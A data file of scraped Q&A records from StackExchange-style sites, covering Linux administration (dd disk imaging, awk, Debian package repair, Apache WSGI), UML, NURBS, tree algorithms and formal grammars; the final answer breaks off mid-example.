{  "id": "_datascience.5186"  , "question": "I need to draw a decision tree about this subject :The research and development manager in an old oil company, which is  considering making some changes, lists the following courses of action  for the company:(i) Adopt a process developed by another oil company. This would cost  7 million in royalties and yield a net 20 million profit (before  paying the royalty).(ii) Carry out one or two (not simultaneously) alternative research  projects :(R1) the more expensive one has a 0.8 chance of success; net profit  16 million and a further 6 million in royalties. If it fails there  will be a net loss of 10 million. (R2) the alternative research programme is less expensive but only has  a 0.7 chance of success with a net profit of 15 million and a further  5 million in royalties. If it fails a net loss of 6 million will be  incurred.(iii) Make no changes. After meeting current operating costs the  company expects to make a net 15 million profit from its existing  process. Failure of one research program would still leave open all  remaining courses of action (including the other research programme).I need also to indicate the different payoffs. This is what I've done so far :I would like to be sure that I'm going in the right direction since I'm a beginner with decision trees. And then I need to decide the best course of action using Bayes, Maximax and Maximin rules."  , "title": "Decision Tree Bayes rules / Maximax / Maximin"  , "tags": "data mining;statistics;visualization;decision trees"  } 
{  "id": "_hardwarecs.7498"  , "question": "I live in a place where the electricity quality is poor. If I plug my desktop computer directly into the wall, it ends up damaged after some days due to unstable electricity. I have used an UPS for some years, which solved the problem, but its batteries last only for a few years, what makes it an expensive solution on the long term.I heard about Automatic Voltage Regulators and I would like to know if they would solve my problem. I'm not worried about loss of data due to occasional power failures, since that is not really a problem here, I would just need to protect my computer from damage.What options do I have to protect my computer from bad quality electricity? Would Automatic Voltage Regulators be a good alternative to a UPS?"  , "title": "Alternatives to UPS to protect a computer from unstable electricity"  , "tags": "power supply;ups;power converter"  } 
{  "id": "_unix.184054"  , "question": "I've been cloning complete HDD images to restore OS crashes using DD and GZIP for a while now using dd if=/dev/sda | gzip > img.gz and gzip img.gz | dd of=/dev/sdaThis always working fine, but the process is a little slow. It takes more than 2 hours to create or restore an image. I started experimenting with faster (de)compression; LZ4.Again, using the same commands dd if=/dev/sda | lz4 > img.lz4 and lz4 img.lz4 | dd of=/dev/sda. Creating and restoring an image now takes less than 50% of the time. Point is, this restored image delivers a unbootable PC.What am I doing wrong? Is LZ4 not suitable for this purpose?"  , "title": "HD clone using LZ4 and DD fails"  , "tags": "dd;system recovery"  , "accepted_answer": "Is the restored image the same size as the original one ?You can test restored size using :lz4 -v img.lz4 > /dev/nullIf not, maybe the following line would be a bit safer :lz4 -d img.lz4 | dd of=/dev/sda"  } 
{  "id": "_unix.223022"  , "question": "Please consider below file: foo,boo,900foo,boo,900foo,boo,850I need to compare the a field ($3) with the next record, if the difference is equal or more than 50, then print the record. i.e from the sample above, $3 from second record - $3 from the third record = 50, then the output would be: foo,boo,850Please advise how this could be implemented. "  , "title": "Compare records value with each others."  , "tags": "text processing;awk"  , "accepted_answer": "You can try this awkawk -F, 'NR != 1 { if ((x - $3) >= 50) print $0; } { x = $3 }' fileand this one if you don't want to print row if filed $1 changed:awk -F, 'NR != 1 { if ($1 == fc && (x - $3) >= 50) print $0; } { x = $3; fc = $1; }' file"  } 
{  "id": "_softwareengineering.204875"  , "question": "Let's say, I want to model an application which allows users to model class diagrams. The high level use case can be modelled as UC1:Model Class Diagram, which refines itself into UC11: Model Class, UC12: Model Connection, UC13: Model Composition, etc.Since UC11, 12, 13 are part of UC 1, I used the include-Association. Unfortunately, the UML specification says that included use cases are essential parts and if you would leave one of them out the high level behavior could not be achieved any more.But in this example a valid class diagram can be created without modelling a connection or a composition, so these use cases are optional.To boil it down to an essence: How can optional use cases be modelled in UML while providing a mechanism for reuse (like the include association)?"  , "title": "How to model optional use cases in UML"  , "tags": "uml;use case;modelling"  , "accepted_answer": "You could use Extend in this case.Example include and extend:UC  login includes UC  sign up:  The login page can be accesses straight away, but if you havent signed up the alt path would lead  you to the sign up page . You must complete this UC to get through. You can assess the sing up page directly as well.  So for reuse you could make this two use cases, instead of an alt path and include the sing up UC. UC edit profile extends UC login:  The UC Login always has a pop-up when you login to ask if you want to change your profile. You dont have to do this to accesses the site. You can accesses the profile edit page from several places, with its own UC of course.  You would draw this relationship as an extend because its optional to get through."  } 
{  "id": "_unix.352282"  , "question": "I need to install java on one of my VMs running SUSE Linux using ansible.Below is the playbook code I am using:- name: Download Java  become_user: {{user}}  command: wget -q -O {{java_archive}} --no-check-certificate --no-cookies --header 'Cookie: oraclelicense=accept-securebackup-cookie' {{download_url}} creates={{java_archive}}- name: Fix ownership  become_user: {{user}}  file: state=directory path={{java_name}} owner={{user}} group={{user}} recurse=yes- zypper: name={{download_folder}}/jdk-8u5-linux-x64.rpm become_user={{user}} state=present- name: Clean up  become_user: {{user}}  file: state=absent path={{java_archive}}The problem I'm facing is that the installer needs some interactions while installing. How do I automate that? Or there is some other way to achieve this?As requested in comments, following message appears when I try to install without ansible."  , "title": "How do I install jdk on SUSE Linux with ansible?"  , "tags": "suse;zypper;ansible;jdk"  } 
{  "id": "_webapps.41768"  , "question": "I cannot seem to add a member on my trello on the iphone app.When i am in a board, there is a button 'members' on the down bar, but i can only see who is member, but not add anyone.What am i missing ?"  , "title": "Trello on iphone, how to add a member"  , "tags": "trello"  } 
{  "id": "_unix.31292"  , "question": "I'm finding myself helping out some classmates in my computer science class, because I have prior development experience, and I'm having a hard time explaining certain things like the shell. What's a good metaphor for the shell in the context of the Terminal on Mac, contrasted with a remote shell via SSH?"  , "title": "Metaphor for the concept of shell?"  , "tags": "shell;architecture"  , "accepted_answer": "Put simply, a terminal is an I/O environment for programs to operate in, and a shell is a command processor that allows for the input of commands to cause actions (usually both interactively and non-interactively (scripted)). The shell is run within the terminal as a program.There is little difference between a local and remote shell, other than that they are local and remote (and a remote shell generally is connected to a pty, although local shells can be too)."  } 
{  "id": "_unix.191694"  , "question": "I would like to create a file by using the echo command and the redirection operator, the file should be made of a few lines. I tried to include a newline by \\n inside the string:echo first line\\nsecond line\\nthirdline\\n > foobut this way no file with three lines is created but a file with only one line and the verbatim content of the string. How can I create using only this command a file with several lines ? "  , "title": "How to put a newline special character into a file using the echo command and redirection operator?"  , "tags": "shell;command line;echo;newlines"  , "accepted_answer": "You asked for using some syntax with the echo command:echo $'first line\\nsecond line\\nthirdline' > foo(But consider also the other answer you got.)The $'...' construct expands embedded ANSI escape sequences."  } 
{  "id": "_webmaster.209"  , "question": "I have a pretty big legacy site with literally thousands of PDFs that are sometimes accounting for in a database, but often are just links on the page, and are stored in most every directory on the site.I have written a php crawler to follow all the links on my site, and then I am comparing that against a dump of the directory structure, but is there something easier?"  , "title": "Good tool to crawl my site and help me find dead link and unlinked files"  , "tags": "site maintenance;web crawlers;dead links"  , "accepted_answer": "I've used Xenu's Link Sleuth.  It works pretty well, just be sure not to DOS yourself! "  } 
{  "id": "_computergraphics.4101"  , "question": "I need to write a photo-realistic renderer. I have been looking at ScratchAPixel site, asking a couple of questions here on CG, and going through the Advanced Global Illumination 2nd ed book. I've read about radiometry, probability, Monte Carlo, and a bit on Russian roulette. I'm aware of the rendering equation in its hemispherical and area formulations. I've written a SAH based kd-tree, so am ok for efficient ray casting.I'm poised to start writing some code alongside reading chapter 5 of my book which is about path tracing algorithms. However, the last half of chapter 4 is taken up with talking about the following concepts:The Importance FunctionThe Measurement EquationAdjoint equations and linear transport operatorsGRDF (Global Reflectance Distribution Function)These concepts I've not seen appearing elsewhere in my research (if you can call reading a few web pages about GI rendering proper research?). My question is, do I really need to know this stuff to progress to writing my path tracer? I suspect the answer might depend on which type of path tracer I'm going to developer. To start, based upon what little I know, I think it'll be unidirectional."  , "title": "Can I ignore importance, adjoint equations, GRDFs for my path tracer?"  , "tags": "pathtracing"  , "accepted_answer": "No, you don't need to know this stuff to implement basic path tracer.Basic unidirectional path tracer is quite simple to implement. Just trace bunch of paths of length X for each pixel with uniform distribution over the normal oriented hemisphere at the path's intersection points. Then weight the remaining path with the BRDF at each intersection point and multiply with luminance of light once the path hits a light.You'll get quite a noisy (but unbiased!) image even for large number of paths and then you can start to look into methods to reduce noise, e.g. importance sampling & bidirectional path tracing. Just validate the more optimized path tracers towards earlier validated path tracers to avoid introducing accidental bias."  } 
{  "id": "_computergraphics.4334"  , "question": "I have NURBS surface data. I have a list of control points, knot vectors in U and V params and the degree. The U knot vector lies in range -3.14 to 3.14 and the knot V vector lies in range -100 to 100. How can I normalize this data so that both knot U and V lies in range 0 to 1?Thanks for your help!"  , "title": "Normalize NURBS knot vector"  , "tags": "nurbs;cad"  , "accepted_answer": "The relative size of the spacing of knots is irrelevant for the NURBS curve. The only thing that matters is that they keep the relation. Note this may not be wise as parametrization may have other uses behind the scenes.Image 1: 3 differently parametrized knots result in same curve if knot values are relatively the same.So you can scale and offset knot points as you wish. However you can not make the relative distances between entries different or your curve will change.Image 2: On the other hand if you change the relative spacing your in trouble. So beware of floating point errors if you need to be really accurate."  } 
{  "id": "_unix.7691"  , "question": "Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.When I arrived home, I attempted to remove the package through aptitude purge which turns out to no more potent than aptitude remove in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.I tried to reinstall phpmyadmin, but aptitude simply stated that there was no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude.The result of dpkg --purgeickronia:/home/ken# dpkg --purge phpmyadmin(Reading database ... 27158 files and directories currently installed.)Removing phpmyadmin .../var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directorydpkg: error processing phpmyadmin (--purge): subprocess pre-removal script returned error exit status 1/var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directorydpkg: error while cleaning up: subprocess post-installation script returned error exit status 1Errors were encountered while processing:phpmyadminOn following Gile's advice, I tried to re-install the dependency dbconfig-commonickronia:/home/ken# aptitude reinstall dbconfig-commonReading package lists... DoneBuilding dependency treeReading state information... DoneReading extended state informationInitializing package states... DoneReading task descriptions... Donedbconfig-common is not currently installed, so it will not be reinstalled.dbconfig-common is not currently installed, so it will not be reinstalled.The following packages are BROKEN:  phpmyadmin0 packages upgraded, 0 newly installed, 0 to remove and 3 not upgraded.Need to get 0B of archives. After unpacking 0B will be used.The following packages have unmet dependencies:  phpmyadmin: Depends: php5-mcrypt but it is not installable              Depends: dbconfig-common but it is not installable              Depends: libjs-mootools (>= 1.2.4.0~debian1-1) which is a virtual  package.The following actions will resolve these dependencies:Remove the following packages:phpmyadminScore is 121Accept this solution? [Y/n/q/?] n*** No more solutions available ***The following actions will resolve these dependencies:Remove the following packages:phpmyadminScore is 121Accept this solution? [Y/n/q/?] n*** No more solutions available ***The following actions will resolve these dependencies:Remove the following packages:phpmyadminScore is 121Accept this solution? [Y/n/q/?] yThe following packages will be REMOVED:  phpmyadmin{a}0 packages upgraded, 0 newly installed, 1 to remove and 3 not upgraded.Need to get 0B of archives. After unpacking 17.7MB will be freed.Do you want to continue? [Y/n/?] yWriting extended state information... Done(Reading database ... 27158 files and directories currently installed.)Removing phpmyadmin .../var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directorydpkg: error processing phpmyadmin (--remove): subprocess pre-removal script returned error exit status 1/var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directorydpkg: error while cleaning up: subprocess post-installation script returned error exit status 1Errors were encountered while processing: phpmyadminE: Sub-process /usr/bin/dpkg returned an error code (1)A package failed to install.  Trying to recover:Reading package lists... DoneBuilding dependency treeReading state information... DoneReading extended state informationInitializing package states... DoneWriting extended state information... DoneReading task descriptions... Doneickronia:/home/ken#It appears that phpmyadmin cleanly cleared out dbconfig-commonickronia:/usr/share/dbconfig-common# ls -alFtotal 12drwxr-xr-x  3 root root 4096 2011-02-09 08:09 ./drwxr-xr-x 98 root root 4096 2011-01-20 21:42 ../drwxr-xr-x  3 root root 4096 2011-01-05 11:08 data/ickronia:/usr/share/dbconfig-common#Attempted to dpkg from archives as suggested by Gilesickronia:/usr/share/dbconfig-common# dpkg -i /var/cache/apt/archives/{dbconfig-common,php5-mcrypt,libjs-mootools}*.debSelecting previously deselected package dbconfig-common.(Reading database ... 27161 files and directories currently installed.)Unpacking dbconfig-common (from .../dbconfig-common_1.8.46_all.deb) ...Selecting previously deselected package php5-mcrypt.Unpacking php5-mcrypt (from .../php5-mcrypt_5.3.3-6_i386.deb) ...Selecting previously deselected package libjs-mootools.Unpacking libjs-mootools (from .../libjs-mootools_1.2.5~debian1-2_all.deb) ...Setting up dbconfig-common (1.8.46) ...dpkg: dependency problems prevent configuration of php5-mcrypt: php5-mcrypt depends on libltdl7 (>= 2.2.6b); however:  Package libltdl7 is not installed. php5-mcrypt depends on libmcrypt4; however:  Package libmcrypt4 is not installed.dpkg: error processing php5-mcrypt (--install): dependency problems - leaving unconfiguredSetting up libjs-mootools (1.2.5~debian1-2) ...Processing triggers for man-db ...Processing triggers for libapache2-mod-php5 ...Reloading web server config: apache2.Errors were encountered while processing: php5-mcryptickronia:/usr/share/dbconfig-common#I have a webserver running on php, but I'm willing to risk downtime to get this resolved."  , "title": "Removing broken packages"  , "tags": "debian;package management;aptitude"  , "accepted_answer": "phpmyadmin depends on dbconfig-common, which contains /usr/share/dbconfig-common/dpkg/prerm.mysql. It looks like you've managed to uninstall dbconfig-common without uninstalling phpmyadmin, which shouldn't have happened (did you try to --force something?).My advice is to first try aptitude reinstall dbconfig-common. If it works, you should have a system in a consistent state from which you can try aptitude purge phpmyadmin again.Another thing you can do is comment out the offending line in /var/lib/dpkg/info/phpmyadmin.prerm. This is likely to make you able to uninstall phpmyadmin. I suspect you did what that line is supposed to do when you edited those mysql tables manually, but I don't know phpmyadmin or database admin in general, so I'm only guessing.The difference between remove and purge is that remove just removes the program and its data files (the stuff you could re-download), while purge first does what remove does then also removes configuration files (the stuff you might have edited locally). If remove fails, so will purge."  } 
{  "id": "_cstheory.4904"  , "question": "This question was motivated by a question asked on stackoverflow.Suppose you are given a rooted tree $T$ (i.e. there is a root and nodes have children etc) on $n$ nodes (labelled $1, 2, \\dots, n$). Each vertex $i$ has a non-negative integer weight associated: $w_i$.Additionally, you are given an integer $k$, such that $1 \\le k \\le n$.The weight $W(S)$ of a set of nodes $S \\subseteq \\{1,2,\\dots, n\\}$ is the sum of weights of the nodes: $\\sum_{s \\in S} w_s$.Given input $T$, $w_i$ and $k$, The task is to find a minimum weight  sub-forest* $S$, of $T$, such that $S$  has exactly $k$ nodes (i.e. $|S| => k$). In other words, for any subforest $S'$ of $T$, such that $|S'| = k$, we must have $W(S) \\leq W(S')$.If the number of children of each node were bounded (for instance binary trees), then there is a polynomial time algorithm using dynamic programming.I have a feeling that this is NP-Hard for general trees, but I haven't been able to find any references/proof. I even looked here, but could not find something which might help. I have feeling that this will remain NP-Hard even if you restrict $w_i \\in \\{0,1\\}$ (and this might be easier to prove).This seems like it should be a well studied problem. Does anyone know if this is an NP-Hard problem/there is a known P time algorithm? *A sub-forest of $T$ is a subset $S$ of nodes of the tree $T$, such that if $x \\in S$, then all the children of $x$ are in $S$ too. (i.e. it is a disjoint union of rooted sub-trees of $T$).PS: Please pardon me if it turns out that I missed something obvious and the question is really off-topic. "  , "title": "Minimum weight subforest of given cardinality"  , "tags": "cc.complexity theory;reference request;np hardness;tree;application of theory"  , "accepted_answer": "Similar to the solution for a binary tree, you can solve it in polynomial time on a tree without degree restriction:First, generalize the problem such that every node also has a count $c_i\\in\\{0,1\\}$, and the problem is to find a subforest $S$ of count $k=\\sum_{i\\in S} c_i$.Generalize the dynamic programming approach to this version (it still works with a table, given a fixed count $C$, what is the minimal weight subforest in the subtree having count precisely $C$)  Keep the original tree with nodes of count 1.  Every node $v$ with degree greater than 2 is split into a binary tree with deg$(v)$ leaves (the shape does not matter).  The new nodes have count and weight 0. Solve the problem on the new tree. When reading out the solution ignore any new node; this will still be a subforest of the same weight.  Because any original subforest translates into a new subforest of the same weight, the found subforest is optimal."  } 
{  "id": "_webmaster.63204"  , "question": "My site is working if i type it as domain.com. But If I type it as www.domain.com I get an error 404 page.The domain is registered with Google Apps for Business and the hosting is done with another company. I have some A records that are pointing the site to this server. However, as it appears the A records are only working halfway.What do I have to do to make it working for both http:// and http://www ?"  , "title": "Site is working with http:// not with http://www"  , "tags": "dns"  , "accepted_answer": "Normally you would have an A record for the domain name example.com and a CNAME for www pointing to example.com or an A record for www with the same IP address as example.com.As well, your website has to be set up for this. For example, in the Apache site configuration file often found in /etc/apache2/sites-available/ or /etc/local/apache2/sites-available/, you would need some thing like:ServerName example.comServerAlias www.example.comIf you have another web server, you will need to research this second part for specific configuration details."  } 
{  "id": "_softwareengineering.112631"  , "question": "Many modern programming languages (Scala, Erlang, Clojure, etc.) are targeting the JVM. What are the main reasons behind that decision?JVM's maturity?Portability?Because JVM simply exists, and the language designers were not willing to write a new VM/interpreter?"  , "title": "Modern languages and the JVM"  , "tags": "programming languages;jvm;compatibility;modern"  , "accepted_answer": "Erlang is a standalone language but there is work being done on Erjang which is targeting the JVM. You're right that Scala and Clojure are targeting the JVM, and there are versions of Ruby and Python targeting the JVM as well (JRuby, Jython).Yes, the JVM is a very mature platform and modern JVMs are able to optimize code and compile it on-demand to the host's native code for increased performance.Yes, portability. Compiled Scala, Clojure, etc can be packaged using standard tools and distributed to any system that has a JVM (of a suitable version level).Yes, the JVM means new languages only have to write a compiler to bytecode (and any supporting libraries they want to provide). They don't have to write a new runtime (which is what Erlang, Ruby, Python, JavaScript etc have all done in the past).But I think you've missed one of the biggest benefits of the JVM: the huge ecosystem of libraries - both the Java standard library and the vast array of third party libraries are accessible to any language that targets the JVM."  } 
{  "id": "_datascience.14959"  , "question": "My understanding is that GPUs are more efficient for running neural nets, but someone recently suggested GPUs are only needed for the training phase and that once trained, it's actually more efficient to run them on CPUs.Is this true?"  , "title": "After the training phase, is it better to run neural networks on a GPU or CPU?"  , "tags": "machine learning"  } 
{  "id": "_unix.248715"  , "question": "I have bash script which can login to Cisco switch and shut/noshut any port i have defined in it.what I want is that i can add variable , like i can define port number in command like this./cisco.sh 10 (10 is port number)but the script is not letting me add any variable.and gives errorcan't read 1: no such variable      while executing set PORT $1i m using following script#!/usr/bin/expect -f    set timeout 20    set IPaddress 192.168.0.1    set Username zaib    set Password zaib    set PORT $1    spawn ssh -o StrictHostKeyChecking no $Username@$IPaddress    expect *assword:     send $Password\\r    expect >    send enable\\r    expect *assword:     send $Password\\r    send conf term\\r    send interface gigabitEthernet 1/0/$PORT\\r    expect #    send shut\\r    expect #    send exit\\r    expect #    send exit\\r    send wr\\r    send exit\\rexit"  , "title": "set variable in bash script with EXPECT"  , "tags": "bash;expect;cisco"  } 
{  "id": "_unix.346054"  , "question": "After installing Cinnamon on FC25, I can no longer easily use GVim. All my title bars blend too closely for me. For some reason, I didn't have this issue on FC24 and Cinnamon, so I'm leaning towards this being a Cinnamon theme issue. I'm trying to pick some theme that's as close to Windows XP as possible. When I drag the window to resize it, the foreground goes to something dark, and the background goes to white. When the dragging handle is released, it goes back to something that I can't distinguish.The desktop theme is Mint-XP, and I've tried Arc, Arc Solid, Dark, etc."  , "title": "Foreground and background color too similar in Cinnamon"  , "tags": "linux;fedora;vim;cinnamon;gvim"  } 
{  "id": "_codereview.128645"  , "question": "This piece of code takes odata web services response then translates it to nested tables. Is there any way this code could be improved and shortened or divided into smaller functions, as this big function is really confusing?/// <summary>/// Generates the display table of the specified data./// </summary>/// <param name =data>The data to generate the display from.</param>/// <param name =title>The title of the table.</param>OData.explorer.DataExplorer.prototype.createResultsTable = function (data, title) {    var me = this;    var $table = $('<table class=defaultResultsFormatting/>');    if (data && data.length > 0) {        var $thead = $('<thead />');        $table.append($thead);        var columnCount = 0;        // Add the column names.        var $headRow = $('<tr/>');        $thead.append($headRow);        var result = data[0];        for (var property in result) {            var type = typeof result[property];            // DataJS returns the dates as objects and not as strings.            if (type === 'string' || type === 'number' || type === 'boolean' ||                result[property] instanceof Date || !result[property]) {                $headRow.append($('<th />', { text: property }));                ++columnCount;            }        }        var hasLinks = false;        var $tbody = $('<tbody />');        $table.append($tbody);        $.each(data, function (index, e) {            var $bodyRow = $('<tr/>');            $tbody.append($bodyRow);            var expandedChildResults = null;            var links = [];            $.each(e, function (index, property) {                var type = typeof property;                if (type === 'string' || type === 'number' || type === 'boolean') {                    $bodyRow.append($('<td />', { text: property }));                } else if (property instanceof Date) { // DataJS returns the dates as objects and not as strings.                    $bodyRow.append($('<td />', { text: property.toDateString() }));                } else if (!property) {                    $bodyRow.append('<td />');                } else if (typeof property === 'object' && property.results && index !== '__metadata') {                    expandedChildResults = property.results;                } else if (property.__deferred) {                    links.push({ key: property.__deferred.uri, value: index });                    hasLinks = true;                }            });            // Display the links only if there are some.            if (links.length !== 0) {                columnCount += 2;                var $cell = $('<td />');                $bodyRow.prepend($cell);                me.addDropdown('links', links, $cell, '', true, false);                // Prepend a blank cell for the expand icon.                var $expandCell = $('<td/>');                $bodyRow.prepend($expandCell);                if (expandedChildResults) {                    // Add the expand/collapse button.                    $expandCell.append('<span class=expandChild />');                    // Create a new row for the child results.                    $bodyRow = $('<tr class=expandedChild />');                    $table.append($bodyRow);                    var $childCell = $('<td />', { colspan: columnCount });                    $bodyRow.append($childCell);                    $childCell.append(me.createResultsTable(expandedChildResults));                }            }        });        // Display the links column names only if they exist.        if (hasLinks) {            $headRow.prepend('<th></th><th>Links</th>');        }        // Add a title to the table.        if (title) {            var $titleRow = $('<tr />');            $thead.prepend($titleRow);            $titleRow.append($('<th />', { text: title, colspan: columnCount }));            $table.attr('data-tabletitle', title);        }    } else {        this.noResults();    }    return $table;};Coming from Odata-query-builder.js library, output is dynamic in nature but this is one of the examples:"  , "title": "Recursive nested table creation code"  , "tags": "javascript"  } 
{  "id": "_unix.55952"  , "question": "My directory structure is given below. I need to move all the folders from Test3 to Test2 and concatenate the files with same names[jg@hpc Test2]$ tree.|-- Sample_1008|   |-- 1008_ATCACG_L002_R1_001.fastq|   |-- 1008_ATCACG_L002_R2_001.fastq|   |-- 1008_ATCACG_L006_R1_001.fastq|   `-- 1008_ATCACG_L006_R2_001.fastq`-- Sample_1009    |-- 1009_CGATGT_L002_R1_001.fastq    |-- 1009_CGATGT_L002_R2_001.fastq    |-- 1009_CGATGT_L006_R1_001.fastq    `-- 1009_CGATGT_L006_R2_001.fastq[jg@hpc Test3]$ tree.|-- Sample_1008|   |-- 1008_ATCACG_L002_R1_001.fastq|   |-- 1008_ATCACG_L002_R2_001.fastq|   |-- 1008_ATCACG_L006_R1_001.fastq|   `-- 1008_ATCACG_L006_R2_001.fastq`-- Sample_1009    |-- 1009_CGATGT_L002_R1_001.fastq    |-- 1009_CGATGT_L002_R2_001.fastq    |-- 1009_CGATGT_L006_R1_001.fastq    `-- 1009_CGATGT_L006_R2_001.fastqI triedmv Test3/* /auto/dr-lc_sa1/Data/Test2nothing worked but when I tried cp -r Test3/* Test2/It overwrites.I want the files to be concatenated. At the end I need to have one Test2 directory and under every sample and their fastq files in the Test3 directory will be concatenated to corresponding fastq files in Test2 directory.  "  , "title": "How to move files with same name and concatenate"  , "tags": "shell script;files;rename;cat"  , "accepted_answer": "There's no built-in way to concatenate a file and remove it, you'll have to break it into two steps.In zsh, or in bash 4 after running shopt -s globstar, or in ksh after running set -o globstar:cd Test3for x in **/*.fastq; do  cat $x >>/auto/dr-lc_sa1/Data/Test2/$x && rm $xdoneWithout ** to recurse into subdirectories, use find.cd Test3find . -name '*.fastq' -exec sh -c 'cat $0 >>/auto/dr-lc_sa1/Data/Test2/$0 && rm $0' {} \\;If Test2 and Test3 are on the same filesystem and there are many files under Test3 that don't have a corresponding file in the destination, you can save some execution time by moving the file instead of concatenating it onto an empty file:for x in **/*.fastq; do  if [ -s ../Test2/$x ]; then    cat $x >>/auto/dr-lc_sa1/Data/Test2/$x && rm $x  else    mv $x /auto/dr-lc_sa1/Data/Test2/$x  fidone"  } 
{  "id": "_unix.349778"  , "question": "I'm running a a WSGI application. When accessing a URL of the application, for instance from my browser, I do get the page I'm asking for. But I also get an error in the log files.URL:https://api.example.com/api/v0/api-docs/api-docs.jsonError message:[Tue Mar 07 17:43:52.331186 2017] [authz_core:error] [pid 23997] [client my.client.ip:59666] AH01630: client denied by server configuration: /var/www/html/api-docsHere's the content of my app's apache config file.<VirtualHost *:80>    ServerName api.example.com    Redirect permanent / https://api.example.com/</VirtualHost><VirtualHost *:443>    ServerName api.example.com    SSLEngine On    SSLCipherSuite HIGH:MEDIUM    SSLCertificateFile /etc/ssl/localcerts/apache.pem    SSLCertificateKeyFile /etc/ssl/localcerts/apache.key    # We may run multiple API versions in parallel    # http://stackoverflow.com/questions/18967441/add-a-prefix-to-all-flask-routes    # API v0    WSGIDaemonProcess api-v0 threads=5    WSGIScriptAlias /api/v0 /path/to/application/application.wsgi    WSGIPassAuthorization On    <Location /api/v0>        WSGIProcessGroup api-v0    </Location>    <Directory /path/to/application/>        Options FollowSymLinks        WSGIProcessGroup api-v0        WSGIApplicationGroup %{GLOBAL}        # WSGIScriptReloading On        Require all granted    </Directory>    # API v1    # ...    # I don't have a v1 yet on the server.    #This is not something I stripped for the example.</VirtualHost>I'm using a self-signed certificate, accepted in the client browser. I don't think it should make any difference...Apache 2.4.The error message reads as if apache was fetching the files in /var/www/html/, in which case the error would be understandable. Except WSGIScriptAlias is understood correctly since I get the page content anyway, so apache must be looking in /path/to/application/.EditI managed to remove the warning by adding a DocumentRoot directive to the VirtualHost.<VirtualHost *:443>    DocumentRoot /path/to/application    ServerName api.example.comI've read the docs about DocumentRoot and it is still unclear to mewhy it worked without itwhy I got that error in the logs while the client actually got the content anywaywhy other virtual host apparently don't need it (e.g. I also host a Redmine instance that does not have this directive)why it works on another machine without it (although on port 80, but should that matter?)The default config for *.443 (ssl) has the defaultDocumentRoot /var/www/html"  , "title": "WSGI application, AH01630: client denied by server configuration but client receives page anyway"  , "tags": "apache httpd;wsgi"  } 
{  "id": "_cs.68533"  , "question": "I'm talking about Type-0 (Chomsky hierarchy) unrestricted grammar, where production rules of grammar are of the form $\\alpha\\rightarrow\\beta$, where $\\alpha,\\beta\\in N\\cup\\Sigma$.I can not find any example of real unrestricted grammar which produces a non-context-sensitive language (of words). While there are examples of non-context-sensitive languages like here or here, there are not examples with proper grammars for them. Could somebody provide such example?(Ideally if you would provide links to corresponding papers where such example(s) are described).Note: I've tried to build unrestricted grammar for known universal Turing machines, as it was suggested in commentaries above. I've used JFLAP tool for this purposes. But obtained grammars appear to be extremely huge, incomprehensible and complex. If you would use same approach and give clear explanation of result, this would partially suit me. Thanks."  , "title": "Example of unrestricted grammar which produces non-context-sensitive language"  , "tags": "formal languages;turing machines;formal grammars"  , "accepted_answer": "For posterity. Start with undecidable Post Correspondence Problem, or PCP:Given two lists of words $(u_1,\\dots,u_n)$ and $(v_1,\\dots,v_n)$ does  there exist a sequence of indices such that $u_{i_1}\\dots u_{i_k} = v_{i_1}\\dots v_{i_k}$?The language will consist of PCP over $\\{a,b\\}$ that have a solution, coded as string $(u_1;v_1) \\dots (u_n;v_n) $ with $u_i,v_i \\in \\{a,b\\}^*$.The grammar will generate a PCP instance, and non-deterministically an attempt for a solution. Then equality of the two strings is tested by deleting matching letters.The equality check is more easily done when one of the strings is stored in reverse, so we will generate $u^R_{i_k} \\dots u^R_{i_1} X v_{i_1}\\dots v_{i_k}$.Generate an instance of PCP.$ I \\to (W;W) I \\mid (W;W) $ (add a pair of words)$ W \\to a W \\mid b W \\mid \\varepsilon $ (generate a word)Copy one of the pairs of PCP and move it to the pair of words around $X$ that should be equal.$ D \\tau \\to \\tau D$ for $\\tau = a,b,(,),;$$ D ( \\to ( L $  (pair selected)$ L ; \\to ; R $$ R ) \\to ) $$ L \\sigma \\to \\sigma L_\\sigma L $ for $\\sigma = a,b$ (make a copy)$ R \\sigma \\to \\sigma R_\\sigma R $ for $\\sigma = a,b$$ L_\\sigma \\tau = \\tau L_\\sigma $ for $\\sigma = a,b$ and $\\tau = a,b,(,),;$ (move right)$ R_\\sigma \\tau = \\tau R_\\sigma $ for $\\sigma = a,b$ and $\\tau = a,b,(,),;$ $ L_\\sigma X \\to \\sigma X$  (drop copy to the left of $X$, it willreverse)$ R_\\sigma X  \\to X \\sigma$  (drop copy to the right of $X$)Check equality$ X \\to Z $ $ \\sigma Z \\sigma \\to Z$  for $\\sigma = a,b$Start. The $\\#$ marks the end of the string, or rather the end of the solution that is generated. The last rule will delete it and at the same time test whether the solution has been completely removed by the earlier rules checking equality.$ S \\to C I X \\#$ $ C \\to C D \\mid D $  for generating the solution, copy several word pairsDone$ ) Z \\# \\to )$PS. Most constructions for a non-context-sensitive language use diagonalization on context-sensitive grammars to get a language that is still recursive. This one is not recursive, but recursively enumerable.Indeed many rules are context-sensitive (or rather monotonic/non-contracting). But especially note the rules like $aZa\\to Z$: they shorten the string. These are definitely type-0 and not monotonic, and they are essential. After the computation they delete the proposed solution of PCP. Like a scratch tape used by a Turing machine.PS2. Although the intuitive meaning of each of the productions is explained above, it is not very simple to formally prove the grammar is correct. This is mostly due to the parallellism. There are many nonterminals moving around in the grammar at the same time independently (for instance, when a copy of a PCP pair $(u_i,v_i)$ is made all these letters move in a row to the right; also we can start looking for the next pair to copy even before the last one was finished). This makes it hard to formulate invariants. It takes some time to check that all nonterminals keep in a proper order, for instance. Fortunately none of the moving nonterminals can overtake one another.For this reason analysing Turing Machines sometimes is less complicated. Only the reading/writing head is moving around.Example (added by Andremoniy)Consider 